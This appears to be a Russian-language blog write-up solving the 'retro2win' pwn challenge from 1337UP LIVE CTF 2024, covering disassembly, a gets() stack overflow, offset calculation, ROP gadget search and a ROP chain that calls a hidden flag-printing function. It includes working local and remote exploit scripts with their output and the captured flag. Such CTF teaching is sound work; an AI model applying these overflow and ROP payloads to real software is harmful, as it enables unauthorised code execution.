Уважаемые дамы и господа, сегодня я представлю вам еще одно решение одного из челленджей с соревнования по кибербезопасности 1337UP LIVE CTF 2024. Данное задание кардинально отличается от того, что я описывал в предыдущей статье. Сложность в этом случае довольно таки высокая. Но, не будем откладывать дела на потом. Идем на страницу с челленджем и приступаем.

Как я уже говорил в предыдущей статье, для защиты от патчинга нам предоставляется удаленный сервер, где мы можем прокоммуницировать с программой. Скачав и распаковав архив, я увидел не только сам бинарник, но и docker инфраструктуру под него. Для запуска бинарника у нас нету никаких дополнительных зависимостей. Мне крайне не понятно зачем создатель челленджа решил обернуть это в docker контейнер. Файлик flag.txt конечно же содержит в себе INTIGRITI{fake_flag}

tkchk@laptop:~/Downloads/retro2win$ tree
.
├── challenge
│   ├── Dockerfile
│   ├── flag.txt
│   └── retro2win
├── docker-compose.yml
└── start.sh

2 directories, 5 files

❯ Знакомство с программой

tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win 
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:

Вау, нам предлагают сыграть в игру. Имеем здесь 2 опиции — сходить в лес или подратся с драконом. Что же, пробуем обе.

tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win 
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
1
You are walking through a dark forest...
I don't think there's any flags around here...

Так, в лесу флагов нет. Двигаем дальше

tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win 
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
2
You encounter a ferocious dragon!
But it's too strong for you...
Only if you had some kind of cheat...

Дракона мы тоже не смогли осилить, но нам предлагают где-то применить хитрость. За хитростями лезем в дизассемблер. Опять таки, я использую фришную версию Binary Ninja.

❯ Реверс

Наша main выглядит вот так. Функция show_main_menu нас явно не интересует. Через функцию __isoc99_scanf мы считываем данные с консоли в переменную var_c . Потом эта переменная присваивается rax_3 . А уже дальше мы видим кучу if , которые зарулят программу в соответствии с тем, что мы ввели на консоль. Функции battle_dragon и explore_forest нас тоже не интересуют — там мы просто печатаем текст. А вот к фунции enter_cheatcode мы доберемся только если введем 0x539 в терминал. Давайте копать это направление. 0x539 это десятичное 1337. Ох и любят они этот leet. Ладно, пробуем циферку.

tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win 
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
1337
Enter your cheatcode:
123
Checking cheatcode: 123!

Нам предлагают ввести чит-код, но последующий вывод бесполезен. Давайте же глянем на эту функцию — может найдем там чего полезного.

Хм, здесь видим переменную buf. На строке 0040080c мы считываем наш ввод из консоли в этот буфер через функцию gets . Данная функция является небезопасной поскольку она подвержена уязвимости типа buffer overflow. Любой современный компилятор будет на это жаловатся, если мы будем писать с ней нашу программу. Данная функция все еще существует только в целях обратной совместимости.

❯ Ломаем

Давайте пробовать overflow.

tkchk@laptop:~/Downloads/retro2win/challenge$ ./retro2win 
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
1337
Enter your cheatcode:
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!
Segmentation fault (core dumped)

Надо же, сработало! Получаем Segmentation fault — программа крашнулась. Чтобы разобратся с тем, что там произошло, лезем в дебагер gdb . Здесь я не ставил никаких брейкпоинтов. Просто запустил программу и привел ее в сломаное состояние. В таком случае,gdb полностью сохраняет все переменные и регистры.

tkchk@laptop:~/Downloads/retro2win/challenge$ gdb retro2win 
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from retro2win...
(No debugging symbols found in retro2win)
(gdb) run
Starting program: /home/tkchk/Downloads/retro2win/challenge/retro2win 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
1337
Enter your cheatcode:
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Checking cheatcode: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111!

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400829 in enter_cheatcode ()
(gdb) x/10xg $rsp
0x7fffffffdd58:	0x3131313131313131	0x3131313131313131
0x7fffffffdd68:	0x3131313131313131	0x3131313131313131
0x7fffffffdd78:	0x3131313131313131	0x3131313131313131
0x7fffffffdd88:	0x3131313131313131	0x3131313131313131
0x7fffffffdd98:	0x3131313131313131	0x00007fffffff0031

Первым делом нам надо смотреть на стек. Что такое стек и как он устроен я подробно описывал во второй части цикла статей о взломе диска от Red Balloon Security. Комманда x/10xg $rsp покажет нам десять 64-битных чисел с адреса из регистра rsp — это наш stack pointer. И что же я здесь увидел? Переменная buf переполнилась и мои единички (в hex виде) успешно смэшнули соержимое стека. На стеке хранится очень много полезных вещей: локальные переменные, предыдущие содержимые rbp и, самое главное, адреса возвратов. Наша программа как раз таки крашнулась по той причине, что был перезаписан адрес возврата. Адрес 0x3131313131313131 ведет куда-то за пределы сегмента с исполняемым кодом. От сюда и ошибка сегментации. Перезаписав адрес возврата, мы можем с помощью нашего ввода зарулить программу на любой адрес. Но какой?

❯ Читерим

В поисках нужного места, куда должна будет вернутся программа, я наткнулся на функцию cheat_mode . Функция полностью изолирована — к ней никак нельзя достучатся. Ни вызовов из main, ни из других функций я не увидел. В ней мы как раз таки открываем файл с флагом и печатаем его на консоль. Но есть одна загвоздка — мы имеем проверку 2х аргументов. Значение первого должно быть 0x2323232323232323 , а второго 0x4242424242424242 . Это невероятно усложняет нашу задачу — мало того, что нам прийдется правильно рассчитать и заабьюзить адрес возврата, так мы еще и должны аргументы расставить.

Здесь я знатно так офигел. Сразу в голове промелькнула мысль — может заабьюзить адрес возврата так, чтоб он обошел эти проверки и сразу начал со строки CHEAT MODE ACTIVATED! ? Я взялся за эту попытку.

Наша cheat_mode расположена по адресу 0x00400736 . И это, блин, чертовски не удобный адрес! Из-за 07 и null-байтов в этом адресе мы больше не можем использовать терминал для ввода данных. Все дальнейшие манипуляции с программой мы будем проводить исключительно через скрипты на python.

Для получения адреса, где мы обойдем эти проверки, смотрим на функцию в дизассемблированном виде. Нас интересует 0x0040076a .

Чтобы правильно передать адрес возврата, нам необходимо также рассчитать заглушку. Это нужно по той простой причине, что функция gets все таки рабочая, и какой-то кусочек нашего ввода правильно падает на стек перед тем как мы его переполним.

Для рассчетов нам необходимо найти рабочий адрес возврата на стеке. Давайте попробуем ввести какое-то значение чит-кода, которое не переполнит буфер. В функции enter_cheatcode по адресу 0x0000000000400827 есть прекрасная инструкция nop — как раз после считывания данных нашего ввода. На ней и поставим breakpoint.

tkchk@laptop:~/Documents/pwn/retro2win/challenge$ gdb retro2win 
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from retro2win...
(No debugging symbols found in retro2win)
(gdb) disass enter_cheatcode
Dump of assembler code for function enter_cheatcode:
   0x00000000004007ee <+0>:	push   rbp
   0x00000000004007ef <+1>:	mov    rbp,rsp
   0x00000000004007f2 <+4>:	sub    rsp,0x10
   0x00000000004007f6 <+8>:	mov    edi,0x400a99
   0x00000000004007fb <+13>:	call   0x4005a0 <puts@plt>
   0x0000000000400800 <+18>:	lea    rax,[rbp-0x10]
   0x0000000000400804 <+22>:	mov    rdi,rax
   0x0000000000400807 <+25>:	mov    eax,0x0
   0x000000000040080c <+30>:	call   0x400600 <gets@plt>
   0x0000000000400811 <+35>:	lea    rax,[rbp-0x10]
   0x0000000000400815 <+39>:	mov    rsi,rax
   0x0000000000400818 <+42>:	mov    edi,0x400aaf
   0x000000000040081d <+47>:	mov    eax,0x0
   0x0000000000400822 <+52>:	call   0x4005c0 <printf@plt>
   0x0000000000400827 <+57>:	nop
   0x0000000000400828 <+58>:	leave
   0x0000000000400829 <+59>:	ret
End of assembler dump.
(gdb) break *0x0000000000400827
Breakpoint 1 at 0x400827
(gdb) run
Starting program: /home/tkchk/Documents/pwn/retro2win/challenge/retro2win 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
*****************************
*       Retro2Win Game      *
*****************************
1. Explore the Forest
2. Battle the Dragon
3. Quit

Select an option:
1337
Enter your cheatcode:
11111111
Checking cheatcode: 11111111!

Breakpoint 1, 0x0000000000400827 in enter_cheatcode ()
(gdb) x/10xg $rsp
0x7fffffffdd20:	0x3131313131313131	0x0000000000000000
0x7fffffffdd30:	0x00007fffffffdd50	0x0000000000400939
0x7fffffffdd40:	0x00007fffffffde30	0x00000539ffffde78
0x7fffffffdd50:	0x00007fffffffddf0	0x00007ffff7c2a1ca
0x7fffffffdd60:	0x00007fffffffdda0	0x00007fffffffde78

Смотрим на стек через x/10xg $rsp . Значение 0x0000000000400939 и есть наш рабочий адрес возврата — оно ведет на функцию main как раз после вызова enter_cheatcode . Перед этим адресом возврата мы видим три 8-ми байтных числа. Нам также видны наши введенные единицы. Что же, 3*8=24. 24 байта и есть наш искомый размер заглушки.

Для локального взлома я использовал библиотеку pexpect. Нам всего то нужно заспавнить процесс бинарника, и как-то отреагировать на то, что он нам шлет. После фразы Enter your cheatcode: мы шлем наш payload. Адрес, куда должна будет вернутся программа я написал в обратном порядке байт из-за little endian архитектуры. Создаем файлик pwn.py

tkchk@laptop:~/Documents/pwn/retro2win/challenge$ cat pwn.py 
import pexpect

child = pexpect.spawn('./retro2win')
child.expect('Select an option:')
child.sendline ('1337')
child.expect('Enter your cheatcode:')
child.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA\x6a\x07\x40\x00\x00\x00\x00\x00')
print(child.before)
child.interact()

И, блин, оно сработало — я успешно получил нужные строки, но к большому сожалению, флага я не увидел.

tkchk@laptop:~/Documents/pwn/retro2win/challenge$ python3 pwn.py 
b'\r\n1337\r\n'

AAAAAAAAAAAAAAAAAAAAAAAAj^G@^@^@^@^@^@
Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAAj@!
CHEAT MODE ACTIVATED!
You now have access to secret developer tools...

Здесь я понял, что являюсь полным бараном. Во-первых, это не должно так просто решатся, а во-вторых, я совсем забыл о такой важной вещи как Function Prologue. Function Prologue делает подготовку стека для нормальной работы функции, и если мы не сделаем эту подготовку, результат может быть непредсказуемым. Дабы глянуть почему мы не печатаем флаг, я б запустил дебагер, но мы здесь работаем через скрипты на python — как добится в таком случае нормального дебага мне не понятно. Наверное, решения есть. В общем, вот эти три инструкции обязательно должны отработать, иначе мы получим полурабочую функцию.

В итоге, у нас получилась довольно печальная картина — эту проверку аргументов мы никак не можем обойти.

Короче, копался я с этим несколько часов, и в итоге нашел вот эту прекрасную статью о Return Oriented Programming. Там в разделе «2nd ROP Chain» описывается мой случай — возврат на функцию с аргументами. Также речь идет о ROP гаджетах. ROP гаджеты — это мелкие кусочки исполняемого кода от системных или библиотечных функций. Нам нужны гаджеты с инструкциями pop и последующим return. Через pop мы снимем значения со стека (а он у нас под контролем) и расставим аргументы в регистры, а через return мы снова прыгнем на значение из вершины стека. Если мы все правильно рассчитаем, мы сможем пройтись по коду гаджетов для расстановки аргументов в регистры и потом прыгнем на наш cheat_mode. Как раз из-за того, что мы несколько раз тригернем return , ROP Chain и называется ROP Chain'ом — это цепочка возвратов. На этой картинке показано примерное виденье того, как будет выглядеть наш стек после того, как мы его заабьюзим (пример с другого сайта).

А теперь давайте найдем гаджеты. Главное, что они должны уметь, это расставлять данные со стека в регистры для аргументов. По правилам передачи аргументов в x86, первый и второй аргумент расставляются в регистры rsi & rdi. Для поиска подобных вещей есть куча готовых решений. Я использовал собраный на rustе ropr.

tkchk@laptop:~/Downloads/retro2win/challenge$ ropr retro2win | grep pop\ rsi

==> Found 99 gadgets in 0.009 seconds
0x004009b1: pop rsi; pop r15; ret;
tkchk@laptop:~/Downloads/retro2win/challenge$ ropr retro2win | grep pop\ rdi

==> Found 99 gadgets in 0.010 seconds
0x004009b3: pop rdi; ret;

Нашли аж целых 99 штук, но нас интересуют инструкции pop rsi & pop rdi . Здесь стоит обратить внимание на лишний pop r15. Избавится от него мы никак не можем — это обязывает нас увеличить вводимые данные на этапе ввода аргумента 0x4242424242424242 . У нас 64-х битная архитектура — увеличим на 8 рандомных байт. Сохраняем адреса себе в блокнотик.

❯ Финалочка

Итого, нам надо будет ввести:

  1. Заглушку в 24 байта

  2. Адрес второго гаджета 0x00000000004009b3

  3. Первый аргумент 0x2323232323232323

  4. Адрес первого гаджета 0x00000000004009b1

  5. Второй аргумент 0x4242424242424242

  6. 8-ми байтовая заглушка

  7. Адрес cheat_mode 0x0000000000400736

  8. Символ новой строки 0x0a

Дорабатываем pwn.py .

tkchk@laptop:~/Documents/pwn/retro2win/challenge$ cat pwn.py 
import pexpect

child = pexpect.spawn('./retro2win')
child.expect('Select an option:')
child.sendline ('1337')
child.expect('Enter your cheatcode:')
child.sendline(b'AAAAAAAAAAAAAAAAAAAAAAAA\xb3\x09\x40\x00\x00\x00\x00\x00\x23\x23\x23\x23\x23\x23\x23\x23\xb1\x09\x40\x00\x00\x00\x00\x00\x42\x42\x42\x42\x42\x42\x42\x42AAAAAAAA\x36\x07\x40\x00\x00\x00\x00\x00\x0a')
print(child.before)
child.interact()

Итак, дамы и господа, у нас все получилось! Мы видим флаг.

tkchk@laptop:~/Documents/pwn/retro2win/challenge$ python3 pwn.py 
b'\r\n1337\r\n'

AAAAAAAAAAAAAAAAAAAAAAAA�	@^@^@^@^@^@########�	@^@^@^@^@^@BBBBBBBBAAAAAAAA6^G@^@^@^@^@^@

Checking cheatcode: AAAAAAAAAAAAAAAAAAAAAAAA�	@!
CHEAT MODE ACTIVATED!
You now have access to secret developer tools...

FLAG: INTIGRITI{fake_flag}

Для получения реального флага нам остается мелочь — переработать скрипт для работы с сокетом. Теперь делаем net.py

tkchk@laptop:~/Documents/pwn/retro2win/challenge$ cat net.py 
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('retro2win.ctf.intigriti.io', 1338))
response = s.recv(4096)
s.sendall(b'1337\n')
response = s.recv(4096)
s.sendall(b'AAAAAAAAAAAAAAAAAAAAAAAA\xb3\x09\x40\x00\x00\x00\x00\x00\x23\x23\x23\x23\x23\x23\x23\x23\xb1\x09\x40\x00\x00\x00\x00\x00\x42\x42\x42\x42\x42\x42\x42\x42AAAAAAAA\x36\x07\x40\x00\x00\x00\x00\x00\x0a')
response = s.recv(4096)
print(response)

Запускаем, попутно заменяя все пробелы на новые строки (это чисто для удобства):

tkchk@laptop:~/Documents/pwn/retro2win/challenge$ python3 net.py | sed 's/ /\n/g'
b'Checking
cheatcode:
AAAAAAAAAAAAAAAAAAAAAAAA\xb3\t@!\r\nCHEAT
MODE
ACTIVATED!\r\nYou
now
have
access
to
secret
developer
tools...\r\n\r\nFLAG:
INTIGRITI{3v3ry_c7f_n33d5_50m3_50r7_0f_r372w1n}\r\n'

Флаг мы видим в конце списка. Друзья, мы решили челлендж. Как я уже говорил, данное решение далось мне с большим трудом, но все таки я его осилил. Ставьте лайки и пишите комментарии. До встречи в сети!


Новости, обзоры продуктов и конкурсы от команды Timeweb.Cloud  в нашем Telegram-канале 

Перейти ↩

? Читайте также:

Комментарии (0)